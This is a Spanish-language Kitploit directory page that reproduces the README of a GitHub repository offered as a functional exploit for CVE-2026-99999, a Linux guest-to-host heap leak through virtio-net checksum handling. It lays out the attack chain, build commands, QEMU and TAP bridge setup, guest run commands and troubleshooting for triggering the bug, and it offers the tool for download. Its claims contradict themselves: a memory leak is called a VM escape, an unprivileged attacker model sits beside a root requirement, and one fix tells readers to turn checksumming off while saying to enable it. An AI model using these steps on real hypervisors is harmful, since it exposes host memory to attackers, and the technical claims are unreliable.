Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-99999-exploit — PoC funcional de CVE-2026-99999 — escape real de VM para el fallo csum_start del kernel de Linux (CVSS 9.3). Fuga de heap de Guest a Host. Véase también: CVE-2026-99999-analysis (Educativo). | Kitploit
Herramientas/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónVirtualización de SeguridadPapers e InvestigaciónEscape de Contenedores
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

PoC funcional de CVE-2026-99999 — escape real de VM para el fallo csum_start del kernel de Linux (CVSS 9.3). Fuga de heap de Guest a Host. Véase también: CVE-2026-99999-analysis (Educativo).

Ver Repositorio
31hace 15 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-99999 — Repositorio de exploits PoC

⚠️ Este es un repositorio de exploits funcional. Contiene código de exploit real que desencadena la vulnerabilidad CVE-2026-99999 en un entorno KVM/QEMU activo.

📚 Para una simulación segura y exclusivamente local de la misma cadena de ataque, consulta CVE-2026-99999-analysis (sin root, sin red, Python puro — ideal para entender el fallo sin un laboratorio).

Resumen de la vulnerabilidad

CVE-2026-99999 — Error de validación de csum_start en IPv4 del kernel de Linux en la ruta de segmentación GSO. Una VM invitada puede filtrar ~32–64 bytes de memoria del heap del kernel anfitrión por cada fragmento de paquete saliente.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Kernels afectados: Todos anteriores a los commits de corrección:

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

Modelo de atacante: Código sin privilegios dentro de una VM invitada KVM.


Estructura del repositorio

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

Cadena de ataque

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

Compilación

Lado del invitado

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

Lado del host

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

Uso

Opción A: modo vhost-user (recomendado)

Requiere:

  • QEMU iniciado con -netdev vhost-user,...
  • Memoria del invitado compartida con QEMU mediante memfd o tmpfs
  • Root en el invitado
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

Opción B: modo de omisión de TAP

Requiere:

  • Dispositivo TAP conectado al puente del host
  • Root o CAP_NET_RAW en el invitado
  • bridge-nf-call-iptables=1 en el host (para la ruta GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

Notas técnicas

Uso compartido de memoria de vhost-user

El exploit requiere que QEMU pueda leer la memoria de la virtqueue TX del invitado. Sin memoria compartida, QEMU no puede leer los descriptores — los paquetes se encolan pero nunca se transmiten.

Para las pruebas, utilice una de las siguientes opciones:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

Requisitos previos de la ruta GSO

El disparador de la CVE requiere que el kernel del host procese la trama a través de la ruta de segmentación GSO. Esto ocurre cuando:

  • La trama tiene el flag IP_MF (More Fragments) establecido — forzando la fragmentación
  • La descarga de checksum está habilitada en el dispositivo virtio-net
  • La trama es mayor que la MTU (forzando la segmentación GSO)

El exploit establece IP_MF en cada paquete para garantizar la segmentación GSO.

Detección

El detector del lado del host (receive_and_dump.py) identifica CVE-2026-99999 mediante:

  1. La captura de paquetes en la interfaz del bridge
  2. La detección de bytes IHL corruptos (version_ihl & 0x0F > 5)
  3. La notificación de los bytes excedentes como posibles fugas de memoria del heap del kernel

Archivos

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

Solución de problemas

"Cannot connect to vhost-user socket"

  • Asegúrate de que QEMU se está ejecutando con vhost-user y de que el socket existe
  • Comprueba: ls -la /tmp/vhost.sock

"Host does not support VIRTIO_NET_F_CSUM"

  • Tu configuración de QEMU/KVM no tiene habilitada la descarga de checksum
  • Añade a QEMU: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — habilita, no deshabilites

"Host does NOT support VIRTIO_NET_F_CSUM" (salida del exploit)

  • El backend vhost-user del host no negoció la función de descarga de checksum
  • Esto es lo esperado para algunas configuraciones de QEMU
  • Prueba en su lugar el modo de omisión de TAP

No se detectaron paquetes corruptos

  • Asegúrate de que el kernel del host esté sin parchear (anterior a 5.10.272, 5.15.223, 6.1.190)
  • Comprueba: uname -r
  • Asegúrate de que el flag IP_MF se está estableciendo en los paquetes salientes
  • Prueba a ejecutar Wireshark en el bridge del host para observar las tramas sin procesar

Permiso denegado

  • Invitado: requiere root o sudo
  • Host: requiere root o sudo para la captura de paquetes y la configuración de TAP

Descargo de responsabilidad

Únicamente para investigación de seguridad autorizada en entornos de laboratorio aislados. El uso no autorizado contra sistemas que no posees o para los que careces de permiso por escrito para probar es ilegal. Los autores no aceptan ninguna responsabilidad por el uso indebido.

Descargar herramienta